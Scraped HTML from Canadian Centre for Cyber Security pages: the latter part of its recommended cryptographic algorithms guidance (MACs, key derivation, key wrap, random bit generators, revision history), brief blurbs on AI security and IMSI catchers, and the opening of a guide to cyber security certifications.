of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 202: <abbr title="Secure Hash Algorithm">SHA</abbr>-3 Standard: Permutation Based Hash and Extendable-Output Functions</a>, for use in the following:</p> <ul><li><abbr title="Module-Lattice-Based Key-Encapsulation Mechanism">ML-KEM</abbr> (section <a href="#a54">5.4 Module-Lattice-Based Key-Encapsulation Mechanism</a>)</li> <li>The digital signature schemes <ul><li><abbr title="Rivest-Shamir-Adleman">RSA</abbr> (section <a href="#a61">6.1 Rivest-Shamir-Adelman</a>)</li> <li><abbr title="Elliptic Curve Digital Signature Algorithm">ECDSA</abbr> (section <a href="#a63">6.3 Elliptic Curve Digital Signature Algorithm</a>)</li> <li><abbr title="Module-Lattice-Based Digital Signature Algorithm">ML-DSA</abbr> (section <a href="#a65">6.5 Module-Lattice-Based Digital Signature Algorithm</a>)</li> </ul></li> <li>KECCAK Message Authentication Code (KMAC) (section <a href="#a94">9.4 KECCAK Message Authentication Code</a>)</li> </ul><p>We recommend SHAKE256, as specified in <a href="https://csrc.nist.gov/pubs/fips/202/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 202: <abbr title="Secure Hash Algorithm">SHA</abbr>-3 Standard: Permutation Based Hash and Extendable-Output Functions</a>, for use in the following:</p> <ul><li><abbr title="Module-Lattice-Based Key-Encapsulation Mechanism">ML-KEM</abbr> (section <a href="#a54">5.4 Module-Lattice-Based Key-Encapsulation Mechanism</a>)</li> <li>The digital signature schemes <ul><li><abbr title="Rivest-Shamir-Adleman">RSA</abbr> (section <a href="#a61">6.1 Rivest-Shamir-Adelman</a>)</li> <li><abbr title="Elliptic Curve Digital Signature Algorithm">ECDSA</abbr> (section <a href="#a63">6.3 Elliptic Curve Digital Signature Algorithm</a>)</li> <li><abbr title="Edwards-Curve Digital Signature Algorithm">EdDSA</abbr> (section <a href="#a64">6.4 Edwards-Curve Digital Signature Algorithm</a>) with curve Edwards448</li> <li><abbr title="Module-Lattice-Based Digital Signature Algorithm">ML-DSA</abbr> (section <a href="#a65">6.5 Module-Lattice-Based Digital Signature Algorithm</a>)</li> <li><abbr title="Stateless Hash-Based Digital Signature Algorithm">SLH-DSA</abbr> (section <a href="#a66">6.6 Stateless Hash-Based Digital Signature Algorithm</a>)</li> <li>Stateful hash-based digital signature schemes (section <a href="#a67">6.7 Stateful hash-based signature schemes</a>)</li> </ul></li> <li><abbr title="KECCAK Message Authentication Code">KMAC</abbr> (section <a href="#a94">9.4 KECCAK Message Authentication Code</a>)</li> </ul><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> </section><section><h2 class="text-info" id="a9">9 Message authentication codes</h2> <p>A message authentication code (MAC) is a fixed-length tag used to verify the authenticity and integrity of a message. The following sections outline the <abbr title="Message Authentication Code">MAC</abbr> algorithms that we recommend for data integrity and data origin authentication of UNCLASSIFIED, PROTECTED A and PROTECTED B information.</p> <h3 id="a91">9.1 Keyed-Hash Message Authentication Code</h3> <p>We recommend Keyed-Hash Message Authentication Code (HMAC), as specified in <a href="https://csrc.nist.gov/pubs/fips/198-1/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 198-1: The Keyed-Hash Message Authentication Code</a>, with a key length of at least 112 bits.</p> <p><strong>The key length should be increased to at least 128 bits by the end of 2030.</strong></p> <h3 id="a92">9.2 Cipher-based Message Authentication Code</h3> <p>We recommend Cipher-based Message Authentication Code (CMAC), as specified in <a href="https://csrc.nist.gov/pubs/sp/800/38/b/upd1/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-38B: Recommendation for Block Cipher Modes of Operation: The <abbr title="Cipher-based Message Authentication Code">CMAC</abbr> Mode for Authentication</a>. <abbr title="Cipher-based Message Authentication Code">CMAC</abbr> is only recommended for use with the <abbr title="Advanced Encryption Standard">AES</abbr> algorithm as specified in section <a href="#a31">3.1 Advanced Encryption Standard algorithm</a>.</p> <h3 id="a93">9.3 Galois/Counter Mode Message Authentication Code</h3> <p>We recommend Galois/Counter Mode  Message Authentication Code (GMAC), as specified in <a href="https://csrc.nist.gov/pubs/sp/800/38/d/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-38D: Recommendation for Block Cipher Modes of Operation: Galois/Counter Mode (GCM) and <abbr title="Galois/Counter Mode Message Authentication Code">GMAC</abbr></a>. <abbr title="Galois/Counter Mode Message Authentication Code">GMAC</abbr> is only recommended for use with the <abbr title="Advanced Encryption Standard">AES</abbr> algorithm as specified in section <a href="#a31">3.1 Advanced Encryption Standard algorithm</a>.</p> <h3 id="a94">9.4 KECCAK Message Authentication Code</h3> <p>We recommend KECCAK message authentication code (KMAC)128 and <abbr title="KECCAK Message Authentication Code">KMAC</abbr>256 as specified in <a href="https://csrc.nist.gov/pubs/sp/800/185/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-185: <abbr title="Secure Hash Algorithm">SHA</abbr>3-Derived Functions: cSHAKE, <abbr title="KECCAK Message Authentication Code">KMAC</abbr>, TupleHash and ParallelHash</a> with a key length of at least 112 bits.</p> <p><strong>The key length should be increased to at least 128 bits by the end of 2030.</strong></p> </section><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <section><h2 class="text-info" id="a10">10 Key derivation functions</h2> <p>A <abbr title="Key Derivation Function">KDF</abbr> is a transformation of secret (as well as possibly non-secret) data into a cryptographically strong secret key. The following sections outline the <abbr title="Key Derivation Functions">KDFs</abbr> that we recommend for the derivation of cryptographic keys from key establishment or pre-shared secrets, used for protecting UNCLASSIFIED, PROTECTED A and PROTECTED B information.</p> <h3 id="a101">10.1 One-Step Key Derivation Function</h3> <p>We recommend the one-step <abbr title="Key Derivation Function">KDF</abbr>, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/56/c/r2/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-56C Rev. 2: Recommendation for Key-Derivation Methods in Key-Establishment Schemes</a>.</p> <h3 id="a102">10.2 Two-Step Key Derivation Function</h3> <p>We recommend the two-step, extraction-then-expansion, key derivation procedure, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/56/c/r2/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-56C Rev. 2: Recommendation for Key-Derivation Methods in Key-Establishment Schemes</a>. Note that the <abbr title="Hash Message Authentication Code">HMAC</abbr>-based extract-and-expand Key Derivation Function (HKDF) function used in the Transport Layer Security (TLS) version 1.3 protocol follows this specification.</p> <h3 id="a103">10.3 Key derivation using pseudorandom functions</h3> <p>We recommend the <abbr title="Key Derivation Functions">KDFs</abbr> using pseudorandom functions as specified in <a href="https://csrc.nist.gov/pubs/sp/800/108/r1/upd1/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-108 Rev. 1: Recommendation for Key Derivation Using Pseudorandom Functions</a>.</p> <h3 id="a104">10.4 Internet Key Exchange version 2 Key Derivation Function</h3> <p>When used in the context of the Internet Key Exchange version 2 (IKEv2) protocol, we recommend the <abbr title="Internet Key Exchange version 2">IKEv2</abbr> <abbr title="Key Derivation Function">KDF</abbr>, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/135/r1/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-135 Rev. 1: Recommendation for Existing Application-Specific Key Derivation Functions</a>.</p> <h3 id="a105">10.5 Transport Layer Security version 1.2 Key Derivation Function</h3> <p>When used in the context of the <abbr title="Transport Layer Security">TLS</abbr> version 1.2 protocol, we recommend the <abbr title="Transport Layer Security">TLS</abbr> 1.2 <abbr title="Key Derivation Function">KDF</abbr>, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/135/r1/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-135 Rev. 1: Recommendation for Existing Application-Specific Key Derivation Functions</a>.</p> <h3 id="a106">10.6 Secure Shell Key Derivation Function</h3> <p>When used in the context of the Secure Shell (SSH) protocol, we recommend the <abbr title="Secure Shell">SSH</abbr> <abbr title="Key Derivation Function">KDF</abbr>, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/135/r1/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-135 Rev. 1: Recommendation for Existing Application-Specific Key Derivation Functions</a>.</p> <h3 id="a107">10.7 Secure Real-time Transport Protocol Key Derivation Function</h3> <p>When used in the context of the Secure Real-time Transport Protocol (SRTP), we recommend the <abbr title="Secure Real-time Transport Protocol">SRTP</abbr> <abbr title="Key Derivation Function">KDF</abbr>, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/135/r1/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-135 Rev. 1: Recommendation for Existing Application-Specific Key Derivation Functions</a>.</p> <h3 id="a108">10.8 Trusted Platform Module Key Derivation Function</h3> <p>When used in the context of a Trusted Platform Module (TPM) session, we recommend the <abbr title="Trusted Platform Module">TPM</abbr> <abbr title="Key Derivation Function">KDF</abbr>, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/135/r1/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-135 Rev. 1: Recommendation for Existing Application-Specific Key Derivation Functions</a>.</p> <h3 id="a109">10.9 Password-based Key Derivation Function</h3> <p>For protected data on storage devices, we recommend the Password-based <abbr title="Key Derivation Function">KDF</abbr>, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/132/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-132: Recommendation for Password-Based Key Derivation: Part 1: Storage Applications</a>, using a password of at least 12 characters. For more information on passwords and passphrases, read the Cyber Centre’s <a href="https://www.cyber.gc.ca/en/guidance/best-practices-passphrases-and-passwords-itsap30032">Best practices for passphrases and passwords (ITSAP.30.032)</a>.</p> </section><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <section><h2 class="text-info" id="b11">11 Key wrap modes of operation</h2> <p>The following sections outline the key wrap modes of operation that we recommend for key wrapping to protect the confidentiality and integrity of cryptographic keys used for protecting UNCLASSIFIED, PROTECTED A and PROTECTED B information.</p> <h3 id="b111">11.1 Advanced Encryption Standard Key Wrap</h3> <p>When input is known to always be a multiple of 64-bits, we recommend the <abbr title="Advanced Encryption Standard">AES</abbr> Key Wrap mode, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/38/f/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-38F: Recommendation for Block Cipher Modes of Operation: Methods for Key Wrapping</a>.</p> <h3 id="b112">11.2 Advanced Encryption Standard Key Wrap with Padding</h3> <p>When input is not a multiple of 64-bits, we recommend the <abbr title="Advanced Encryption Standard">AES</abbr> Key Wrap with Padding mode, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/38/f/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-38F: Recommendation for Block Cipher Modes of Operation: Methods for Key Wrapping</a>.</p> </section><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <section><h2 class="text-info" id="b12">12 Random bit generators</h2> <p>An <abbr title="Random Bit Generator">RBG</abbr> produces a sequence of bits (0 or 1) which appear statistically independent and unbiased. We recommend <abbr title="Random Bit Generators">RBGs</abbr> as specified in <a href="https://csrc.nist.gov/pubs/sp/800/90/c/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-90C: Recommendation for Random Bit Generator (RBG) Constructions</a>. These constructions employ an entropy source and a Deterministic Random Bit Generator (DRBG).</p> <p>A <abbr title="Deterministic Random Bit Generator">DRBG</abbr> always produces the same output sequence when given the same initial seed. We recommend the following <abbr title="Deterministic Random Bit Generators">DRBGs</abbr>, as specified in <a href="https://csrc.nist.gov/pubs/sp/800/90/a/r1/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-90A Rev. 1: Recommendation for Random Number Generation Using Deterministic Random Bit Generators</a>, for producing random bits for cryptographic applications that protect UNCLASSIFIED, PROTECTED A and PROTECTED B information:</p> <ul><li>Hash_DRBG</li> <li>HMAC_DRBG</li> <li>CTR_DRBG</li> </ul><p>The entropy source for <abbr title="Random Bit Generator">RBG</abbr> constructions and the initial seed for a <abbr title="Deterministic Random Bit Generator">DRBG</abbr> should comply with <a href="https://csrc.nist.gov/pubs/sp/800/90/b/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-90B Recommendations for Entropy Sources Used for Random Bit Generation</a> and should be assessed to be at least 112 bits.</p> <p><strong>The assessed entropy of the initial seed for a <abbr title="Deterministic Random Bit Generator">DRBG</abbr> should be increased to at least 128 bits by the end of 2030.</strong></p> </section><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <section><h2 class="text-info" id="b13">13 Commercial technologies assurance programs</h2> <p>In addition to using the cryptographic algorithms, parameters and key lengths recommended in this publication, we recommend the following to ensure a suitable level of cryptographic security:</p> <ul><li>Cryptographic algorithm implementations should be tested and validated under the <a href="https://csrc.nist.gov/projects/cryptographic-algorithm-validation-program"><abbr title="National Institute of Standards and Technology">NIST</abbr> Cryptographic Algorithm Validation Program (CAVP)</a></li> <li>Cryptographic modules should be tested and validated under the <a href="/en/tools-services/cryptographic-module-validation-program-cmvp">Cryptographic Module Validation Program (CMVP)</a> for compliance with <a href="https://csrc.nist.gov/pubs/fips/140-3/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 140-3: Security Requirements for Cryptographic Modules</a></li> <li><abbr title="information technology">IT</abbr> security products should be certified to the <a href="/en/tools-services/common-criteria">Common Criteria</a> Standard by a Certificate Authorizing Member of the Common Criteria Recognition Arrangement</li> </ul><p>Products containing cryptographic modules validated under the <abbr title="Cryptographic Module Validation Program">CMVP</abbr> are referenced on <a href="https://csrc.nist.gov/projects/cryptographic-module-validation-program/validated-modules/search/all"><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Cryptographic Module Validation Program">CMVP</abbr>-validated modules lists</a> and are accompanied by a vendor-supplied, non-proprietary security policy document (read <a href="/en/selecting-cmvp-validated-product">Selecting a <abbr title="Cryptographic Module Validation Program">CMVP</abbr> validated product</a>). The security policy document specifies the cryptographic security provided by a module and describes its capabilities, protection and access controls. We recommend using the security policy document to select suitable cryptographic security products and to configure those products in <abbr title="Federal Information Processing Standards">FIPS</abbr>-approved modes of operation, as defined in <a href="https://csrc.nist.gov/csrc/media/Projects/cryptographic-module-validation-program/documents/fips%20140-3/FIPS%20140-3%20IG.pdf">Implementation Guidance for <abbr title="Federal Information Processing Standards">FIPS</abbr> PUB 140-3 and the Cryptographic Module Validation Program (PDF)</a>, to ensure that only the algorithms recommended by the Cyber Centre are used.</p> </section><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <section><h2 class="text-info" id="b14">14 Summary</h2> <p>Cryptography provides security mechanisms which can be used to protect the authenticity, confidentiality and integrity of sensitive information. Several algorithms may be required to satisfy security requirements, and each algorithm should be selected and implemented to ensure these requirements are met. This publication provides guidance on the use of the cryptographic algorithms recommended by the Cyber Centre to protect UNCLASSIFIED, PROTECTED A and PROTECTED B information.</p> </section><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <section><h2 class="text-info" id="b15">A.1 Revisions</h2> <p>The original version of this document was published in August 2016. The summary below lists notable changes in the most recent revision (version 5), as well as in previous versions.</p> <h3>A1.1 Version 5</h3> <ul><li>We updated section 2 to say that this document now includes phase-out dates for quantum-vulnerable key establishment schemes and digital signature schemes</li> <li>We added phase-out dates for the use of all quantum-vulnerable key establishment schemes and digital signature schemes. The phase-out dates can be found in each affected subsection: <ul><li>For key establishment schemes: <ul><li>Section 5.1 Rivest-Shamir-Adelman</li> <li>Section 5.2 Finite Field Cryptography Diffie-Hellman and Menezes-Qu-Vanstone</li> <li>Section 5.3 Elliptic curve cryptography Cofactor Diffie-Hellman and Menezes-Qu-Vanstone</li> </ul></li> <li>For digital signature schemes: <ul><li>Section 6.1 Rivest-Shamir-Adelman</li> <li>Section 6.3 Elliptic Curve Digital Signature Algorithm (ECDSA)</li> <li>Section 6.4 Edwards Curve Digital Signature Algorithm (EdDSA)</li> </ul></li> <li>In section 5.2, we removed the specific parameter-size set recommendations to align with field size phase-out requirements</li> <li>We renamed section 12 from "Deterministic Random Bit Generators" to "Random Bit Generators" and added new guidance on the use of RBGs and entropy sources for RBGs</li> <li>We modified the third bullet point in section 13 for clarity</li> </ul></li> </ul><h3>A.1.2 Version 4 (March 2025)</h3> <ul><li>We included the new NIST post-quantum standards: <ul><li><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 203 Module-Lattice-Based Key-Encapsulation Mechanism (<a href="#a54">Section 5.4</a>)</li> <li><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 204 Module-Lattice-Based Digital Signature Standard (<a href="#a65">Section 6.5</a>)</li> <li><abbr title="National Institute of Standards and Technology">NIST</abbr> <abbr title="Federal Information Processing Standards">FIPS</abbr> 205 Stateless Hash-Based Digital Signature Standard (<a href="#a66">Section 6.6</a>)</li> </ul></li> <li>We updated the section on post-quantum cryptography and moved it to Section 2</li> <li>In Section 3, Encryption algorithms, we removed the subsections on TDEA and CAST5, as all use of TDEA and CAST5 should have been phased out by the end of 2023</li> <li>In Section 6.7, Stateful Hash-Based Signature Schemes, we clarified guidance for use of stateful hash-based signatures with respect to other post-quantum signature schemes</li> <li>In Section 8.7, Hash functions, extendable output functions, we added <abbr title="Module-Lattice-Based Key-Encapsulation Mechanism">ML-KEM</abbr>, <abbr title="Module-Lattice-Based Digital Signature Algorithm">ML-DSA</abbr>, and <abbr title="Stateless Hash-Based Digital Signature Algorithm">SLH-DSA</abbr> to the list of algorithms that can use SHAKE. We also added the distinction that <abbr title="Stateless Hash-Based Digital Signature Algorithm">SLH-DSA</abbr> and <abbr title="Edwards-Curve Digital Signature Algorithm">EdDSA</abbr> only allow for SHAKE256, (and for <abbr title="Edwards-Curve Digital Signature Algorithm">EdDSA</abbr> it is only with curve Ed448)</li> <li>In Section 9.2, Cipher-based message authentication code, we removed the statement requiring a key length increase to at least 128 bits by 2023. Instead, we recommended that <abbr title="Cipher-based Message Authentication Code">CMAC</abbr> only be used with <abbr title="Advanced Encryption Standard">AES</abbr>, as TDEA and CAST5 have been removed</li> <li>In Section 11: Key wrap modes of operation, we removed the subsection on TDEA Key Wrap, as all use of TDEA should have been phased out by the end of 2023</li> <li>We removed the supporting content section. References are linked throughout the document, glossary items are either defined in the text or in the Cyber Centre glossary, and abbreviations are spelled out when they first appear in the document</li> </ul><h3>A.1.3 Version 3 (March 2024)</h3> <ul><li>We made various changes to align with <abbr title="Federal Information Processing Standards">FIPS</abbr> 186-5: <ul><li>In Section 4.3, <abbr title="Elliptic Curve Cryptography">ECC</abbr> <abbr title="Diffie-Hellman">DH</abbr> and <abbr title="Menezes-Qu-Vanstone">MQV</abbr> and Section 5.3 <abbr title="Elliptic Curve Digital Signature Algorithm">ECDSA</abbr>, we only recommend the use of 4 elliptic curves (Curve P-224, Curve P-256, Curve P-384 and Curve P-521). We added a note that Curve P-224 and all binary curves should be phased out by the end of 2030. In Section 5.3, we explicitly recommend deterministic <abbr title="Elliptic Curve Digital Signature Algorithm">ECDSA</abbr></li> <li>In Section 5, Digital signature schemes, we recommend phasing out DSA by the end of 2030, and added the new subsection 5.4 Edwards-Curve Digital Signature Algorithm</li> </ul></li> <li>We added a new section on <abbr title="extendable output functions">XOFs</abbr> (Section 7)</li> <li>In Section 8, Message authentication codes, we added the new subsection on <abbr title="KECCAK Message Authentication Code">KMAC</abbr> (Section 8.4)</li> <li>In Section 11, Deterministic random bit generators, we added the following requirements on the assessed entropy of the initial seed for a <abbr title="Deterministic Random Bit Generator">DRBG</abbr> <ul><li>The initial seed for a <abbr title="Deterministic Random Bit Generator">DRBG</abbr> should contain entropy assessed to be at least 112 bits. We recommend that additional entropy be periodically added to the <abbr title="Deterministic Random Bit Generator">DRBG</abbr> via the reseed function</li> <li>The assessed entropy of the initial seed for a <abbr title="Deterministic Random Bit Generator">DRBG</abbr> should be increased to at least 128 bits by the end of 2030</li> </ul></li> </ul><h3>A.1.4 Version 2 (August 2022)</h3> <ul><li>We updated language from "approved/discontinued" to "recommend/phase out"</li> <li>We replaced references to CSE with the Cyber Centre</li> <li>In Section 2: Encryption algorithms, we recommend phasing out CAST5 and TDEA by 2023. The 2016 version did not have a discontinuation date for CAST5, and version 2 recommended discontinuing TDEA by 2030. We also added a restriction that one key bundle should not be used to encrypt more than <span aria-hidden="true">2²⁰</span><span class="wb-inv">2 to the power of 20</span> 64-bit data blocks in TDEA</li> <li>In Section 3: Encryption algorithm modes of operation, we provided some additional guidance on the use of <abbr title="Electronic Codebook">ECB</abbr> mode, as well as recommendations for <abbr title="Initialization Vectors">IV</abbr> generation</li> <li>In Section 5: Digital signature schemes, we added a new subsection on Stateful Hash-based signature schemes</li> <li>In Section 6: Secure hash algorithms, we no longer recommend the use of <abbr title="Secure Hash Algorithm">SHA</abbr>-1, which was previously approved for use with HMACs, KDFs and RBGs. We added stronger wording (in bold) warning against its use for any application that requires collision resistance. We also added phase-out dates for <abbr title="Secure Hash Algorithm">SHA</abbr>-224 and <abbr title="Secure Hash Algorithm">SHA</abbr>3-224</li> <li>In Section 7: Message Authentication Codes, we updated the recommendation for the <abbr title="Cipher-based Message Authentication Code">CMAC</abbr> key length to be increased to at least 128 bits by the end of 2023 (we previously recommended 2030). We also added the statement "<abbr title="Galois/Counter Mode Message Authentication Code">GMAC</abbr> is only recommended for use with the Advanced Encryption Standard (AES) algorithm as specified in Section 2.1", which was not explicitly stated in the previous version</li> <li>In Section 8: Key Derivation Functions, we updated some of the wording. For example, Single-Step <abbr title="Key Derivation Functions">KDFs</abbr> and Extraction-Then-Expansion <abbr title="Key Derivation Functions">KDFs</abbr> are now referred to as One-Step and Two-Step <abbr title="Key Derivation Functions">KDFs</abbr> respectively (this is consistent with the referenced <abbr title="National Institute of Standards and Technology">NIST</abbr> standards). We removed the IKEv1 <abbr title="Key Derivation Function">KDF</abbr> and added a section for password-based <abbr title="Key Derivation Functions">KDFs</abbr></li> <li>In Section 9: Key Wrap Modes of Operation, we no longer recommend the Triple Data Encryption Algorithm Key Wrap (TKW). We also recommend a phase-out date of 2023 (previously 2030)</li> <li>In Section 11: Commercial Technologies Assurance Programs, we added a reference to the <abbr title="Cryptographic Algorithm Validation Program">CAVP</abbr> and to the common criteria program. We also added the Cyber Centre website as reference</li> <li>We added a new section entitled "Preparing for post-quantum cryptography" (Section 12)</li> </ul><aside class="wb-fnote" role="note"><h2 id="fn">Footnotes</h2> <dl><dt>Footnote 1</dt> <dd id="fn1"> <p>From <a href="https://csrc.nist.gov/pubs/sp/800/186/final"><abbr title="National Institute of Standards and Technology">NIST</abbr> SP 800-186</a>, Deterministic <abbr title="Elliptic Curve Digital Signature Algorithm">ECDSA</abbr> "is a variant of <abbr title="Elliptic Curve Digital Signature Algorithm">ECDSA</abbr>, where a per-message secret number is a function of the message that is signed, thereby resulting in a deterministic mapping of messages to signatures". Signature verification in deterministic <abbr title="Elliptic Curve Digital Signature Algorithm">ECDSA</abbr> is unchanged from <abbr title="Elliptic Curve Digital Signature Algorithm">ECDSA</abbr>.</p> <p class="fn-rtn"><a href="#fn1-rf"><span class="wb-inv">Return to footnote </span>1<span class="wb-inv"> referrer</span></a></p> </dd> </dl></aside></section></div> </div> </div> </div> </div> </div> </div> </article>

Our top AI security actions are designed to help organizations of all sizes and sectors strengthen their cyber resilience.

This publication provides your organization with additional details on frontier AI, the associated risks and suggested mitigation measures to enhance your cyber security posture.

An international mobile subscriber identity (IMSI) catcher is a type of cell site simulator (CSS) that impersonates a legitimate cell tower to exploit connected mobile devices. It is important to understand how IMSI catchers work in order to detect them and protect your sensitive information from being compromised.

This publication provides information on how CSS devices work, the security risks you should consider, and the mitigation actions you can take to better protect from CSS exploitations.

<article data-history-node-id="569" about="/en/guidance/certifications-field-cyber-security" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><div class="row"><!–pdf download–> <div class="col-md-12 mrgn-tp-lg"> <div class="mrgn-bttm-md well well-sm col-md-4 col-sm-12 col-xs-12 pull-right mrgn-lft-md"> <p class="mrgn-tp-sm"><strong>Alternate format</strong>: <a href="/sites/default/files/certificationsfieldcybersecurity-2026-e.pdf">Certifications in the field of cyber security – 2026 (PDF, 829 KB)</a></p> </div> <h2 class="mrgn-tp-0">Foreword</h2> <p>The Certifications in the Field of Cyber Security is an <strong>unclassified</strong> publication. The guide provides information about many of the certifications available for prospective students and cyber security professionals. The intent is not to recommend any certification body or certification in particular, but to provide a listing of some of the different certifications that may help advance an individual’s career in the field of cyber security.</p> <p>Information is sourced from the websites of the certification bodies referenced in this guide.</p> <div class="alert alert-warning"> <p>Disclaimer: The Communications Security Establishment does not endorse or recommend any of the certification bodies or certifications listed in this document. Information provided is intended to be a general summary of publicly available information and is provided for informational purposes only.</p> </div> <section><h2>Revision history</h2> <ol><li>First release: November 2020</li> <li>New certifications added and training providers removed: July 2022</li> <li>Updated Rogers Cybersecure Catalyst information: April 2023</li> <li>Team name changed and new certifications added: November 2023</li> <li>Updated certifications and added OSDA: June 2024</li> <li>Removed Rogers Cybersecure Catalyst information: March 2026</li> </ol></section><div class="clearfix"> </div> <details><summary><h2 class="h3">Table of contents</h2> </summary><ul class="list-unstyled"><li><a href="#A">1.0 Introduction</a></li> <li><a href="#B">2.0 Globally Recognized certifications bodies</a></li> <li><a href="#C">3.0 Cyber Security certification listings and descriptions</a></li> <li><a href="#D">4.0 Cyber Security Certification Listings and Descriptions</a></li> <li><a href="#E">5.0 Supporting Content</a></li> </ul></details><section><h2 id="A">1.0 Introduction</h2> <p>There continues to be a growing demand for qualified cyber security professionals and practitioners in Canada and around the world. With the increasing need for cyber security professionals, the value of IT certification is also increasing. The right certification can give you an advantage over other job candidates. Organizations are looking for talent with superior training and real-world experience.</p> <p>Obtaining a certification demonstrates to future employers that an individual is competent, skilled, and experienced in certain areas. Additionally, given the time and financial investment that many certifications require, some employers see certification as a measure of commitment to a career in the field.</p> <p>Certifications are not only a great supplement to a professional’s other qualifications; it can also lead to a salary increase. According to a study conducted by Global Knowledge, an individual with a certification can earn up to 15% more than those without it <sup id="fn1-ref"><a class="fn-lnk" href="#fn1"><span class="wb-inv">Note </span>1</a></sup>. Furthermore, maintaining certification often requires meeting continuing education requirements, ensuring that certificate holders are keeping up to date on the latest technologies and can continue to keep their organizations safe from emerging cyber security threats.</p> <h3>1.1 The Canadian Centre for Cyber Security</h3> <p>The Canadian Centre for Cyber Security (Cyber Centre), a part of the Communications Security Establishment, was officially launched in October 2018. The Cyber Centre’s Academic Outreach and Engagement team works with universities, colleges, educational associations, education ministerial boards and private sector educators to build cyber security talent and capacity in Canada. The team also works with educators to enhance the community’s understanding of cyber security. Its mission is to ensure Canada is a global leader in cyber security by elevating cyber education.</p> <h3>1.2 Purpose</h3> <p>The primary audience for this guide is prospective cyber security students or professionals looking to advance their careers in the field. The guide highlights some of the more in-demand, globally recognized certifications offered by providers around the world. A complete list of certifications can be found at the end of the guide (Tables 1 to 14).</p> <div class="alert alert-warning"> <p>Disclaimer: CSE does not endorse or recommend any of the certification bodies or certifications listed in this document. Information provided is intended to be a general summary of publicly available information and is provided for informational purposes only.</p> </div> <p>Every effort has been made to ensure accuracy of information, however, due to the dynamic nature of curricula and cyber security, this guide will be reviewed on a regular basis to ensure it reflects the most current certification offerings. New certifications and other suggested changes can be submitted by email to <a href="mailto:cyberskills-cybercompetences@cyber.gc.ca">cyberskills-cybercompetences@cyber.gc.ca</a>.</p> </section><div class="pull-right mrgn-tp-md small text-muted mrgn-bttm-md"><a href="#wb-tphp" title="Return to Top of page">Top of page</a></div> <section><h2 id="B">2.0 Globally recognized certifications bodies</h2> <p>The following highlights some of the more popular and well-known cyber certifications available, in alphabetical order. A more comprehensive list of certifications can be found in the attached tables.</p> <div class="alert alert-info"> <p>CSE is not endorsing, supporting, or promoting any of the following certifications or certification bodies. This guide is solely for information purposes and should only be a starting point for anyone interested in obtaining a certification. We recommend that individuals do more in-depth research, while considering their own interests and career goals, time commitments and financial resources, before deciding which certification is right for them.</p> </div> <p>It should also be noted that while most of the certification bodies are American, their certifications are recognized around the world. Furthermore, candidates can find training through local providers, and many of the certification exams can be written at local testing centres, such as Pearson VUE, or taken online in your own home.</p> <div class="btn-group 